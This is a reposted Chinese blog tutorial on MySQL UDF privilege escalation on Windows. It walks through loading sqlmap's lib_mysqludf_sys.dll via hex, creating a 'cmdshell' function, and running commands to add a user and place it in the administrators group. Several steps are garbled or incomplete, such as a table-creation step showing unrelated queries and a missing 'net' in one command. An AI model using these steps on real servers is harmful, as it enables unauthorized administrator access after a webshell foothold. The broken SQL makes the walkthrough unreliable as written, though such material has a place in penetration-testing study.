0


mysql udf提权

认识UDF

UDF:用户自定义函数,我们知道mysql中有很多内置的函数,这些内置函数是系统提供的功能,用户使用的时候直接调用即可。

为什么udf可以能提权呢?

udf提权只要是因为udf.dll文件,攻击者通过编写调用cmd或者shell的udf.dkk文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。

在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了。由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们通过mysql最终获得管理员权限。

那么使用UDF提权的利用条件是什么呢?

满足的条件:

1、获得一个数据库帐号,拥有MySQL的insert和delete权限,当然了root权限更好了;

2、拥有将udf.dll写入相应目录的权限;

3、将数据库的配置文件的secure_file_priv设置位空;

udf利用的其中一步,是要将我们的udf.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同: (各个版本的区别面试也会问,大家也要看下哦!)

查询下的MySQL版本,这里我的是5.7.26,是大于5.1版本的,也就是说,我们需要找到lib\plugin这个目录,然后将我们的udf.dll文件写进去,其实这里的目录需要我们自己创建。

要提权必须要上传dll到数据库能访问的路径下。

将dll上传到数据库安装路径的方式有下面两种:

1、通过webshell上传

2、以hex方式直接上传

实操:以hex方式直接上传

1、首先获取udf.dll十六进制的值

怎么找udf.dll

sqlmap中就有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll ,这里我将他移动到了C盘,是为了方便后面的语句,当然了,你也可以不用修改,记得下面语句的路径要写对。

将我们的udf.dll文件通过十六机制进行处理;

SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt';

接下来就是UDF提权的开始了,

前面做的是为了做铺垫,后面我们提权需要使用这个16进制的udf.dll文件;

1、新建一个表,标名为udftmp,用来存放本地传来的udf文件的内容:

USE mysql;
SELECT DATABASE();

2、在udftmp中写入udf文件的十六进制内容

INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));

3、将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。 前面说过了 lib\plugin需要自己建;

SELECT @@plugin_dir;

4、执行下面语句,创建函数cmdshell

create function cmdshell returns string soname 'udf.dll';

5、通过所创建的cmdshell函数来创建一个用户;

select cmdshell('net user x x /add');

6、将我们所创建的用户加入到管理员组中;

select cmdshell('localgroup administrators x /add'); 

7、 提权成功:

标签: web安全 安全 mysql

本文转载自: https://blog.csdn.net/weixin_60719780/article/details/129602770
版权归原作者 奋斗的小智 所有, 如有侵权,请联系我们删除。

“mysql udf提权”的评论:

还没有评论